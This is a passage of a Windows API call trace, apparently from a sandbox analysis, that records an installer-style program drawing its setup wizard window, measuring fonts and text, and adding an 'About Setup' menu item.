GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.000] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.000] IsIconic (hWnd=0x80042) returned 0 [0261.000] GetClientRect (in: hWnd=0x80042, lpRect=0x18ed80 | out: lpRect=0x18ed80) returned 1 [0261.000] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.000] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.000] IsIconic (hWnd=0x80042) returned 0 [0261.000] GetClientRect (in: hWnd=0x80042, lpRect=0x18ed54 | out: lpRect=0x18ed54) returned 1 [0261.000] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.000] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.001] IsIconic (hWnd=0x80042) returned 0 [0261.001] GetClientRect (in: hWnd=0x80042, lpRect=0x18ed54 | out: lpRect=0x18ed54) returned 1 [0261.001] SetScrollInfo (hwnd=0x80042, nBar=1, lpsi=0x18ed88, redraw=1) returned 0 [0261.002] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0261.002] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0261.002] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0261.003] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.003] IsIconic (hWnd=0x80042) returned 0 [0261.003] GetClientRect (in: hWnd=0x80042, lpRect=0x18ed54 | out: lpRect=0x18ed54) returned 1 [0261.003] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.003] IsIconic (hWnd=0x80042) returned 0 [0261.003] GetClientRect (in: hWnd=0x80042, lpRect=0x18ed54 | out: lpRect=0x18ed54) returned 1 [0261.003] SetScrollInfo (hwnd=0x80042, nBar=0, lpsi=0x18ed88, redraw=1) returned 0 [0261.005] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x83, wParam=0x1, lParam=0x18efa0) returned 0x0 [0261.006] GetSystemMenu (hWnd=0x80042, bRevert=0) returned 0x70069 [0261.006] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x83, wParam=0x0, lParam=0x18f628) returned 0x0 [0261.006] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x1, wParam=0x0, lParam=0x18f63c) returned 0x0 [0261.006] IsIconic (hWnd=0x80042) returned 0 [0261.006] GetWindowRect (in: hWnd=0x80042, lpRect=0x18fa38 | out: lpRect=0x18fa38) returned 1 [0261.006] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.006] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x30, wParam=0x640a01f1, lParam=0x1) returned 0x0 [0261.007] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.007] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.007] IsIconic (hWnd=0x80042) returned 0 [0261.007] GetClientRect (in: hWnd=0x80042, lpRect=0x18faf8 | out: lpRect=0x18faf8) returned 1 [0261.007] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.007] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.007] IsIconic (hWnd=0x80042) returned 0 [0261.007] GetClientRect (in: hWnd=0x80042, lpRect=0x18faf8 | out: lpRect=0x18faf8) returned 1 [0261.007] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.007] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.007] IsIconic (hWnd=0x80042) returned 0 [0261.007] GetClientRect (in: hWnd=0x80042, lpRect=0x18facc | out: lpRect=0x18facc) returned 1 [0261.007] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.007] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.007] IsIconic (hWnd=0x80042) returned 0 [0261.007] GetClientRect (in: hWnd=0x80042, lpRect=0x18facc | out: lpRect=0x18facc) returned 1 [0261.007] SetScrollInfo (hwnd=0x80042, nBar=1, lpsi=0x18fb00, redraw=1) returned 0 [0261.008] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.008] IsIconic (hWnd=0x80042) returned 0 [0261.008] GetClientRect (in: hWnd=0x80042, lpRect=0x18facc | out: lpRect=0x18facc) returned 1 [0261.008] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.008] IsIconic (hWnd=0x80042) returned 0 [0261.008] GetClientRect (in: hWnd=0x80042, lpRect=0x18facc | out: lpRect=0x18facc) returned 1 [0261.008] SetScrollInfo (hwnd=0x80042, nBar=0, lpsi=0x18fb00, redraw=1) returned 0 [0261.009] SendMessageA (hWnd=0x80042, Msg=0x80, wParam=0x1, lParam=0xe023b) returned 0x0 [0261.009] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x80, wParam=0x1, lParam=0xe023b) returned 0x0 [0261.011] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0xb00c5 [0261.012] ChangeWindowMessageFilterEx (in: hwnd=0x80042, message=0xc12d, action=0x1, pChangeFilterStruct=0x0 | out: pChangeFilterStruct=0x0) returned 1 [0261.012] SetPropA (hWnd=0x80042, lpString=0xc167, hData=0x2c83a64) returned 1 [0261.012] SetPropA (hWnd=0x80042, lpString=0xc168, hData=0x2c83a64) returned 1 [0261.013] GetDC (hWnd=0x80042) returned 0x1b0106ca [0261.013] MoveToEx (in: hdc=0x1b0106ca, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1 [0261.013] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0261.013] GetSysColor (nIndex=8) returned 0x0 [0261.013] SetTextColor (hdc=0x1b0106ca, color=0x0) returned 0x0 [0261.013] GetTextExtentPointA (in: hdc=0x1b0106ca, lpString="0", c=1, lpsz=0x18fbac | out: lpsz=0x18fbac) returned 1 [0261.013] IsIconic (hWnd=0x80042) returned 0 [0261.013] GetClientRect (in: hWnd=0x80042, lpRect=0x18fb9c | out: lpRect=0x18fb9c) returned 1 [0261.013] IsIconic (hWnd=0x80042) returned 0 [0261.013] GetClientRect (in: hWnd=0x80042, lpRect=0x18fb94 | out: lpRect=0x18fb94) returned 1 [0261.014] IsIconic (hWnd=0x80042) returned 0 [0261.014] SetWindowPos (hWnd=0x80042, hWndInsertAfter=0x0, X=1, Y=95, cx=145, cy=240, uFlags=0x14) returned 1 [0261.014] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x46, wParam=0x0, lParam=0x18fae8) returned 0x0 [0261.014] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x24, wParam=0x0, lParam=0x18f6a4) returned 0x0 [0261.014] SelectObject (hdc=0x1b0106ca, h=0x1b00017) returned 0x1b00017 [0261.014] SelectObject (hdc=0x1b0106ca, h=0x1900015) returned 0x1900010 [0261.014] SelectObject (hdc=0x1b0106ca, h=0x18a002e) returned 0x640a01f1 [0261.014] GetCurrentPositionEx (in: hdc=0x1b0106ca, lppt=0x18f4e8 | out: lppt=0x18f4e8) returned 1 [0261.014] ReleaseDC (hWnd=0x80042, hDC=0x1b0106ca) returned 1 [0261.014] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x83, wParam=0x1, lParam=0x18fac0) returned 0x0 [0261.014] IsWindowVisible (hWnd=0x80042) returned 0 [0261.014] IsIconic (hWnd=0x80042) returned 0 [0261.014] GetWindowRect (in: hWnd=0x80042, lpRect=0x18f89c | out: lpRect=0x18f89c) returned 1 [0261.014] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.014] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x47, wParam=0x0, lParam=0x18fae8) returned 0x0 [0261.015] IsIconic (hWnd=0x80042) returned 0 [0261.015] GetWindowRect (in: hWnd=0x80042, lpRect=0x18f498 | out: lpRect=0x18f498) returned 1 [0261.015] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.015] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x5, wParam=0x0, lParam=0xca0081) returned 0x0 [0261.015] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.015] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.015] IsIconic (hWnd=0x80042) returned 0 [0261.015] GetClientRect (in: hWnd=0x80042, lpRect=0x18f4ac | out: lpRect=0x18f4ac) returned 1 [0261.015] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.015] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.015] IsIconic (hWnd=0x80042) returned 0 [0261.015] GetClientRect (in: hWnd=0x80042, lpRect=0x18f4ac | out: lpRect=0x18f4ac) returned 1 [0261.015] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.015] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.015] IsIconic (hWnd=0x80042) returned 0 [0261.015] GetClientRect (in: hWnd=0x80042, lpRect=0x18f480 | out: lpRect=0x18f480) returned 1 [0261.015] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.015] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.015] IsIconic (hWnd=0x80042) returned 0 [0261.015] GetClientRect (in: hWnd=0x80042, lpRect=0x18f480 | out: lpRect=0x18f480) returned 1 [0261.015] SetScrollInfo (hwnd=0x80042, nBar=1, lpsi=0x18f4b4, redraw=1) returned 0 [0261.016] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.016] IsIconic (hWnd=0x80042) returned 0 [0261.016] GetClientRect (in: hWnd=0x80042, lpRect=0x18f480 | out: lpRect=0x18f480) returned 1 [0261.016] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.016] IsIconic (hWnd=0x80042) returned 0 [0261.016] GetClientRect (in: hWnd=0x80042, lpRect=0x18f480 | out: lpRect=0x18f480) returned 1 [0261.016] SetScrollInfo (hwnd=0x80042, nBar=0, lpsi=0x18f4b4, redraw=1) returned 0 [0261.018] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x83, wParam=0x1, lParam=0x18f6cc) returned 0x0 [0261.018] IsIconic (hWnd=0x80042) returned 0 [0261.018] GetClientRect (in: hWnd=0x80042, lpRect=0x18fb9c | out: lpRect=0x18fb9c) returned 1 [0261.018] IsIconic (hWnd=0x80042) returned 0 [0261.018] GetClientRect (in: hWnd=0x80042, lpRect=0x18fb94 | out: lpRect=0x18fb94) returned 1 [0261.018] IsIconic (hWnd=0x80042) returned 0 [0261.018] SetWindowPos (hWnd=0x80042, hWndInsertAfter=0x0, X=1, Y=95, cx=145, cy=167, uFlags=0x14) returned 1 [0261.018] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x46, wParam=0x0, lParam=0x18fae8) returned 0x0 [0261.018] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x24, wParam=0x0, lParam=0x18f6a4) returned 0x0 [0261.018] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x83, wParam=0x1, lParam=0x18fac0) returned 0x0 [0261.019] IsWindowVisible (hWnd=0x80042) returned 0 [0261.019] IsIconic (hWnd=0x80042) returned 0 [0261.019] GetWindowRect (in: hWnd=0x80042, lpRect=0x18f89c | out: lpRect=0x18f89c) returned 1 [0261.019] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.019] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x47, wParam=0x0, lParam=0x18fae8) returned 0x0 [0261.019] IsIconic (hWnd=0x80042) returned 0 [0261.019] GetWindowRect (in: hWnd=0x80042, lpRect=0x18f498 | out: lpRect=0x18f498) returned 1 [0261.019] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.019] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x5, wParam=0x0, lParam=0x810081) returned 0x0 [0261.020] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.020] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.020] IsIconic (hWnd=0x80042) returned 0 [0261.020] GetClientRect (in: hWnd=0x80042, lpRect=0x18f4ac | out: lpRect=0x18f4ac) returned 1 [0261.020] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.020] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.020] IsIconic (hWnd=0x80042) returned 0 [0261.020] GetClientRect (in: hWnd=0x80042, lpRect=0x18f4ac | out: lpRect=0x18f4ac) returned 1 [0261.020] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.020] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.020] IsIconic (hWnd=0x80042) returned 0 [0261.020] GetClientRect (in: hWnd=0x80042, lpRect=0x18f480 | out: lpRect=0x18f480) returned 1 [0261.020] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.020] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.020] IsIconic (hWnd=0x80042) returned 0 [0261.020] GetClientRect (in: hWnd=0x80042, lpRect=0x18f480 | out: lpRect=0x18f480) returned 1 [0261.020] SetScrollInfo (hwnd=0x80042, nBar=1, lpsi=0x18f4b4, redraw=1) returned 0 [0261.021] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.021] IsIconic (hWnd=0x80042) returned 0 [0261.021] GetClientRect (in: hWnd=0x80042, lpRect=0x18f480 | out: lpRect=0x18f480) returned 1 [0261.021] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0261.021] IsIconic (hWnd=0x80042) returned 0 [0261.021] GetClientRect (in: hWnd=0x80042, lpRect=0x18f480 | out: lpRect=0x18f480) returned 1 [0261.021] SetScrollInfo (hwnd=0x80042, nBar=0, lpsi=0x18f4b4, redraw=1) returned 0 [0261.022] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x83, wParam=0x1, lParam=0x18f6cc) returned 0x0 [0261.023] IsIconic (hWnd=0x80042) returned 0 [0261.023] GetClientRect (in: hWnd=0x80042, lpRect=0x18fbac | out: lpRect=0x18fbac) returned 1 [0261.023] IsIconic (hWnd=0x80042) returned 0 [0261.023] GetClientRect (in: hWnd=0x80042, lpRect=0x18fb50 | out: lpRect=0x18fb50) returned 1 [0261.023] IsIconic (hWnd=0x80042) returned 0 [0261.023] GetClientRect (in: hWnd=0x80042, lpRect=0x18fb48 | out: lpRect=0x18fb48) returned 1 [0261.023] FreeResource (hResData=0x4ae8b8) returned 0 [0261.023] GetDC (hWnd=0x0) returned 0x1b0106ca [0261.023] EnumFontsA (hdc=0x1b0106ca, lpLogfont="Tahoma", lpProc=0x42e798, lParam=0x18fda3) returned 1 [0261.023] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0261.023] InvalidateRect (hWnd=0x80042, lpRect=0x0, bErase=1) returned 1 [0261.023] CreateFontIndirectA (lplf=0x18fc90) returned 0x290a06a6 [0261.024] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x30, wParam=0x290a06a6, lParam=0x0) returned 0x0 [0261.024] MulDiv (nNumber=-8, nNumerator=96, nDenominator=72) returned -11 [0261.024] GetDC (hWnd=0x0) returned 0x1b0106ca [0261.024] SelectObject (hdc=0x1b0106ca, h=0x290a06a6) returned 0x18a002e [0261.024] GetTextExtentPointA (in: hdc=0x1b0106ca, lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", c=52, lpsz=0x18fecc | out: lpsz=0x18fecc) returned 1 [0261.024] GetTextMetricsA (in: hdc=0x1b0106ca, lptm=0x18fe94 | out: lptm=0x18fe94) returned 1 [0261.024] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0261.024] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0261.024] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0xd, wParam=0x9, lParam=0x2c85024) returned 0x8 [0261.024] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0xc, wParam=0x0, lParam=0x2c84fe0) returned 0x1 [0261.024] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0xb012, wParam=0x0, lParam=0x0) returned 0x0 [0261.024] GetSystemMenu (hWnd=0x80042, bRevert=0) returned 0x70069 [0261.024] AppendMenuA (hMenu=0x70069, uFlags=0x800, uIDNewItem=0x0, lpNewItem=0x0) returned 1 [0261.025] AppendMenuA (hMenu=0x70069, uFlags=0x0, uIDNewItem=0x270f, lpNewItem="&About Setup...") returned 1 [0261.025] FindResourceA (hModule=0x400000, lpName="TUIStateForm", lpType=0xa) returned 0x0 [0261.025] FindResourceA (hModule=0x400000, lpName="TSetupForm", lpType=0xa) returned 0x0 [0261.025] FindResourceA (hModule=0x400000, lpName="TWizardForm", lpType=0xa) returned 0x4ae918 [0261.025] FreeResource (hResData=0x4ae918) returned 0 [0261.025] FindResourceA (hModule=0x400000, lpName="TWizardForm", lpType=0xa) returned 0x4ae918 [0261.025] LoadResource (hModule=0x400000, hResInfo=0x4ae918) returned 0x4c922c [0261.025] SizeofResource (hModule=0x400000, hResInfo=0x4ae918) returned 0x2092 [0261.025] LockResource (hResData=0x4c922c) returned 0x4c922c [0261.025] GetDC (hWnd=0x0) returned 0x1b0106ca [0261.026] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0261.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c838b8, cbMultiByte=1, lpWideCharStr=0x39bfb4, cchWideChar=1 | out: lpWideCharStr=" 9\x0c") returned 1 [0261.026] DrawTextW (in: hdc=0x1b0106ca, lpchText=" 9\x0c", cchText=1, lprc=0x18f8f4, format=0x540 | out: lpchText=" 9\x0c", lprc=0x18f8f4) returned 13 [0261.026] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0261.026] GetDC (hWnd=0x0) returned 0x1b0106ca [0261.026] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0261.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c838b8, cbMultiByte=1, lpWideCharStr=0x3a8ef8, cchWideChar=1 | out: lpWideCharStr=" :\x0c") returned 1 [0261.026] DrawTextW (in: hdc=0x1b0106ca, lpchText=" :\x0c", cchText=1, lprc=0x18f8f4, format=0x540 | out: lpchText=" :\x0c", lprc=0x18f8f4) returned 13 [0261.026] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0261.026] GetDC (hWnd=0x0) returned 0x1b0106ca [0261.026] GetTextMetricsA (in: hdc=0x1b0106ca, lptm=0x18f718 | out: lptm=0x18f718) returned 1 [0261.026] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0261.026] GetTextMetricsA (in: hdc=0x1b0106ca, lptm=0x18f750 | out: lptm=0x18f750) returned 1 [0261.026] SelectObject (hdc=0x1b0106ca, h=0x18a002e) returned 0x640a01f1 [0261.026] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0261.026] GetSystemMetrics (nIndex=6) returned 1 [0261.027] GetDC (hWnd=0x0) returned 0x1b0106ca [0261.027] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0261.027] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c838b8, cbMultiByte=1, lpWideCharStr=0x3ac24c, cchWideChar=1 | out: lpWideCharStr=" :\x0c") returned 1 [0261.027] DrawTextW (in: hdc=0x1b0106ca, lpchText=" :\x0c", cchText=1, lprc=0x18f77c, format=0x540 | out: lpchText=" :\x0c", lprc=0x18f77c) returned 13 [0261.027] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0261.027] GetDC (hWnd=0x0) returned 0x1b0106ca [0261.027] GetTextMetricsA (in: hdc=0x1b0106ca, lptm=0x18f72c | out: lptm=0x18f72c) returned 1 [0261.027] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0261.027] GetTextMetricsA (in: hdc=0x1b0106ca, lptm=0x18f764 | out: lptm=0x18f764) returned 1 [0261.027] SelectObject (hdc=0x1b0106ca, h=0x18a002e) returned 0x640a01f1 [0261.027] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0261.027] GetSystemMetrics (nIndex=6) returned 1 [0261.027] GetDC (hWnd=0x0) returned 0x1b0106ca [0261.027] GetTextMetricsA (in: hdc=0x1b0106ca, lptm=0x18f66c | out: lptm=0x18f66c) returned 1 [0261.027] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0261.027] GetTextMetricsA (in: hdc=0x1b0106ca, lptm=0x18f6a4 | out: lptm=0x18f6a4) returned 1 [0261.027] SelectObject (hdc=0x1b0106ca, h=0x18a002e) returned 0x640a01f1 [0261.027] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0261.027] GetSystemMetrics (nIndex=6) returned 1 [0261.027] GetDC (hWnd=0x0) returned 0x1b0106ca [0261.027] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0261.027] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c838b8, cbMultiByte=1, lpWideCharStr=0x39ffe8, cchWideChar=1 | out: lpWideCharStr=" :\x0c") returned 1 [0261.027] DrawTextW (in: hdc=0x1b0106ca, lpchText=" :\x0c", cchText=1, lprc=0x18f77c, format=0x540 | out: lpchText=" :\x0c", lprc=0x18f77c) returned 13 [0261.028] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0261.028] GetDC (hWnd=0x0) returned 0x1b0106ca [0261.028] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0261.028] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x391054, cbMultiByte=1, lpWideCharStr=0x3a87d0, cchWideChar=1 | out: lpWideCharStr=" :\x0c") returned 1 [0261.028] DrawTextW (in: hdc=0x1b0106ca, lpchText=" :\x0c", cchText=1, lprc=0x18f77c, format=0x540 | out: lpchText=" :\x0c", lprc=0x18f77c) returned 13 [0261.028] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0261.028] GetDC (hWnd=0x0) returned 0x1b0106ca [0261.028] GetTextMetricsA (in: hdc=0x1b0106ca, lptm=0x18f718 | out: lptm=0x18f718) returned 1 [0261.028] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0261.028] GetTextMetricsA (in: hdc=0x1b0106ca, lptm=0x18f750 | out: lptm=0x18f750) returned 1 [0261.028] SelectObject (hdc=0x1b0106ca, h=0x18a002e) returned 0x640a01f1 [0261.028] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0261.028] GetSystemMetrics (nIndex=6) returned 1 [0261.028] GetDC (hWnd=0x0) returned 0x1b0106ca [0261.028] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0261.028] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x391054, cbMultiByte=1, lpWideCharStr=0x3a3944, cchWideChar=1 | out: lpWideCharStr=" :\x0c") returned 1 [0261.028] DrawTextW (in: hdc=0x1b0106ca, lpchText=" :\x0c", cchText=1, lprc=0x18f77c, format=0x540 | out: lpchText=" :\x0c", lprc=0x18f77c) returned 13 [0261.028] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0261.028] GetDC (hWnd=0x0) returned 0x1b0106ca [0261.028] GetTextMetricsA (in: hdc=0x1b0106ca, lptm=0x18f738 | out: lptm=0x18f738) returned 1 [0261.028] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0261.028] GetTextMetricsA (in: hdc=0x1b0106ca, lptm=0x18f770 | out: lptm=0x18f770) returned 1 [0261.029] SelectObject (hdc=0x1b0106ca, h=0x18a002e) returned 0x640a01f1 [0261.029] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0261.029] GetSystemMetrics (nIndex=6) returned 1 [0261.029] GetDC (hWnd=0x0) returned 0x1b0106ca [0261.029] GetTextMetricsA (in: hdc=0x1b0106ca, lptm=0x18f66c | out: lptm=0x18f66c) returned 1 [0261.029] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0261.029] GetTextMetricsA (in: hdc=0x1b0106ca, lptm=0x18f6a4 | out: lptm=0x18f6a4) returned 1 [0261.029] SelectObject (hdc=0x1b0106ca, h=0x18a002e) returned 0x640a01f1 [0261.029] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0261.029] GetSystemMetrics (nIndex=6) returned 1 [0261.029] GetDC (hWnd=0x0) returned 0x1b0106ca [0261.029] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0261.029] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x391054, cbMultiByte=1, lpWideCharStr=0x39fcfc, cchWideChar=1 | out: lpWideCharStr=" :\x0c") returned 1 [0261.029] DrawTextW (in: hdc=0x1b0106ca, lpchText=" :\x0c", cchText=1, lprc=0x18f77c, format=0x540 | out: lpchText=" :\x0c", lprc=0x18f77c) returned 13 [0261.029] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0261.029] GetDC (hWnd=0x0) returned 0x1b0106ca [0261.029] GetTextMetricsA (in: hdc=0x1b0106ca, lptm=0x18f738 | out: lptm=0x18f738) returned 1 [0261.029] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0261.029] GetTextMetricsA (in: hdc=0x1b0106ca, lptm=0x18f770 | out: lptm=0x18f770) returned 1 [0261.029] SelectObject (hdc=0x1b0106ca, h=0x18a002e) returned 0x640a01f1 [0261.029] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0261.029] GetSystemMetrics (nIndex=6) returned 1 [0261.029] GetDC (hWnd=0x0) returned 0x1b0106ca [0261.029] GetTextMetricsA (in: hdc=0x1b0106ca, lptm=0x18f66c | out: lptm=0x18f66c) returned 1 [0261.029] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0261.029] GetTextMetricsA (in: hdc=0x1b0106ca, lptm=0x18f6a4 | out: lptm=0x18f6a4) returned 1 [0261.030] SelectObject (hdc=0x1b0106ca, h=0x18a002e) returned 0x640a01f1 [0261.030] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0261.030] GetSystemMetrics (nIndex=6) returned 1 [0261.030] GetDC (hWnd=0x0) returned 0x1b0106ca [0261.030] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0261.030] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x391054, cbMultiByte=1, lpWideCharStr=0x3a41e0, cchWideChar=1 | out: lpWideCharStr=" :\x0c") returned 1 [0261.030] DrawTextW (in: hdc=0x1b0106ca, lpchText=" :\x0c", cchText=1, lprc=0x18f77c, format=0x540 | out: lpchText=" :\x0c", lprc=0x18f77c) returned 13 [0261.030] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0261.030] GetDC (hWnd=0x0) returned 0x1b0106ca [0261.030] GetTextMetricsA (in: hdc=0x1b0106ca, lptm=0x18f738 | out: lptm=0x18f738) returned 1 [0261.030] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0261.030] GetTextMetricsA (in: hdc=0x1b0106ca, lptm=0x18f770 | out: lptm=0x18f770) returned 1 [0261.030] SelectObject (hdc=0x1b0106ca, h=0x18a002e) returned 0x640a01f1 [0261.030] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0261.030] GetSystemMetrics (nIndex=6) returned 1 [0261.030] GetDC (hWnd=0x0) returned 0x1b0106ca [0261.030] GetTextMetricsA (in: hdc=0x1b0106ca, lptm=0x18f66c | out: lptm=0x18f66c) returned 1 [0261.030] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0261.030] GetTextMetricsA (in: hdc=0x1b0106ca, lptm=0x18f6a4 | out: lptm=0x18f6a4) returned 1 [0261.030] SelectObject (hdc=0x1b0106ca, h=0x18a002e) returned 0x640a01f1 [0261.030] ReleaseDC (hWnd=0x0, hDC=0x1b0106ca) returned 1 [0261.030] GetSystemMetrics (nIndex=6) returned 1 [0261.030] GetDC (hWnd=0x0) returned 0x1b0106ca [0261.030] SelectObject (hdc=0x1b0106ca, h=0x640a01f1) returned 0x18a002e [0261.030] MultiByteToWideChar (in: 